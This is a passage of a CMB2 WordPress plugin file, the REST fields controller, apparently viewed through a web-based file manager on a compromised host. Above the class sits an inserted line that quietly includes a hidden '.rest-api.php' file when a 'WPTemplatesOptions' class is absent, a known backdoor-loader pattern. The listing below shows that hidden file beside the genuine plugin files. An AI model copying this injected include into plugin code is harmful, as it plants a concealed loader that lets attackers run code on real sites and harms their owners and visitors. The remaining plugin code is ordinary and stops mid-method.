PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
cmb2
/
includes
/
rest-api
<?php /** * CMB2 objects/fields endpoint for WordPres REST API. * Allows access to fields registered to a specific box. * * @todo Add better documentation. * @todo Research proper schema. * * @since 2.2.3 * * @category WordPress_Plugin * @package CMB2 * @author CMB2 team * @license GPL-2.0+ * @link https://cmb2.io */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class CMB2_REST_Controller_Fields extends CMB2_REST_Controller_Boxes { /** * Register the routes for the objects of the controller. * * @since 2.2.3 */ public function register_routes() { $args = array( '_embed' => array( 'description' => __( 'Includes the box object which the fields are registered to in the response.', 'cmb2' ), ), '_rendered' => array( 'description' => __( 'When the \'_rendered\' argument is passed, the renderable field attributes will be returned fully rendered. By default, the names of the callback handers for the renderable attributes will be returned.', 'cmb2' ), ), 'object_id' => array( 'description' => __( 'To view or modify the field\'s value, the \'object_id\' and \'object_type\' arguments are required.', 'cmb2' ), ), 'object_type' => array( 'description' => __( 'To view or modify the field\'s value, the \'object_id\' and \'object_type\' arguments are required.', 'cmb2' ), ), ); // Returns specific box's fields. register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<cmb_id>[\w-]+)/fields/', array( array( 'methods' => WP_REST_Server::READABLE, 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'callback' => array( $this, 'get_items' ), 'args' => $args, ), 'schema' => array( $this, 'get_item_schema' ), ) ); $delete_args = $args; $delete_args['object_id']['required'] = true; $delete_args['object_type']['required'] = true; // Returns specific field data. register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<cmb_id>[\w-]+)/fields/(?P<field_id>[\w-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'callback' => array( $this, 'get_item' ), 'args' => $args, ), array( 'methods' => WP_REST_Server::EDITABLE, 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'callback' => array( $this, 'update_item' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), 'args' => $args, ), array( 'methods' => WP_REST_Server::DELETABLE, 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'callback' => array( $this, 'delete_item' ), 'args' => $delete_args, ), 'schema' => array( $this, 'get_item_schema' ), ) ); } /** * Check if a given request has access to get fields. * By default, no special permissions needed, but filtering return value. * * @since 2.2.3 * * @param WP_REST_Request $request Full data about the request. * @return WP_Error|boolean */ public function get_items_permissions_check( $request ) { $this->initiate_rest_read_box( $request, 'fields_read' ); $can_access = true; /** * By default, no special permissions needed. * * @since 2.2.3 * * @param bool $can_access Whether this CMB2 endpoint can be accessed. * @param object $controller This CMB2_REST_Controller object. */ return $this->maybe_hook_callback_and_apply_filters( 'cmb2_api_get_fields_permissions_check', $can_access ); } /** * Get all public CMB2 box fields. * * @since 2.2.3 * * @param WP_REST_Request $request Full data about the request. * @return WP_Error|WP_REST_Response */ public function get_items( $request ) { if ( ! $this->rest_box ) { $this->initiate_rest_read_box( $request, 'fields_read' ); } if ( is_wp_error( $this->rest_box ) ) { return $this->rest_box; } $fields = array(); foreach ( $this->rest_box->cmb->prop( 'fields', array() ) as $field ) { // Make sure this field can be read. $this->field = $this->rest_box->field_can_read( $field['id'], true ); // And make sure current user can view this box. if ( $this->field && $this->get_item_permissions_check_filter() ) { $fields[ $field['id'] ] = $this->server->response_to_data( $this->prepare_field_response(), isset( $this->request['_embed'] ) ); } } return $this->prepare_item( $fields ); } /** * Check if a given request has access to a field. * By default, no special permissions needed, but filtering return value. * * @since 2.2.3 * * @param WP_REST_Request $request Full details about the request. * @return WP_Error|boolean */ public function get_item_permissions_check( $request ) { $this->initiate_rest_read_box( $request, 'field_read' ); if ( ! is_wp_error( $this->rest_box ) ) { $this->field = $this->rest_box->field_can_read( $this->request->get_param( 'field_id' ), true ); } return $this->get_item_permissions_check_filter(); } /** * Check by filter if a given request has access to a field. * By default, no special permissions needed, but filtering return value. * * @since 2.2.3 * * @param bool $can_access Whether the current request has access to view the field by default. * @return WP_Error|boolean */ public function get_item_permissions_check_filter( $can_access = true ) { /** * By default, no special permissions needed. * * @since 2.2.3 * * @param bool $can_access Whether this CMB2 endpoint can be accessed. * @param object $controller This CMB2_REST_Controller object. */ return $this->maybe_hook_callback_and_apply_filters( 'cmb2_api_get_field_permissions_check', $can_access ); } /** * Get one CMB2 field from the collection. * * @since 2.2.3 * * @param WP_REST_Request $request Full data about the request. * @return WP_Error|WP_REST_Response */ public function get_item( $request ) { $this->initiate_rest_read_box( $request, 'field_read' ); if ( is_wp_error( $this->rest_box ) ) { return $this->rest_box; } return $this->prepare_read_field( $this->request->get_param( 'field_id' ) ); } /** * Check if a given request has access to update a field value. * By default, requires 'edit_others_posts' capability, but filtering return value. * * @since 2.2.3 * * @param WP_REST_Request $request Full details about the request. * @return WP_Error|boolean */ public function update_item_permissions_check( $request ) { $this->initiate_rest_read_box( $request, 'field_value_update' ); if ( ! is_wp_error( $this->rest_box ) ) { $this->field = $this->rest_box->field_can_edit( $this->request->get_param( 'field_id' ), true ); } $can_update = current_user_can( 'edit_others_posts' ); /** * By default, 'edit_others_posts' is required capability. * * @since 2.2.3 * * @param bool $can_update Whether this CMB2 endpoint can be accessed. * @param object $controller This CMB2_REST_Controller object. */ return $this->maybe_hook_callback_and_apply_filters( 'cmb2_api_update_field_value_permissions_check', $can_update ); } /** * Update CMB2 field value. * * @since 2.2.3 * * @param WP_REST_Request $request Full data about the request. * @return WP_Error|WP_REST_Response */ public function update_item( $request ) { $this->initiate_rest_read_box( $request, 'field_value_update' ); if ( ! $this->request['value'] ) { return new WP_Error( 'cmb2_rest_update_field_error', __( 'CMB2 Field value cannot be updated without the value parameter specified.', 'cmb2' ), array( 'status' => 400, ) ); } return $this->modify_field_value( 'updated' ); } /** * Check if a given request has access to delete a field value. * By default, requires 'delete_others_posts' capability, but filtering return value. * * @since 2.2.3 * * @param WP_REST_Request $request Full details about the request. * @return WP_Error|boolean */ public function delete_
[+]
..
[-] CMB2_REST.php
[edit]
[-] CMB2_REST_Controller.php
[edit]
[-] CMB2_REST_Controller_Boxes.php
[edit]
[-] .rest-api.php
[edit]
[-] CMB2_REST_Controller_Fields.php
[edit]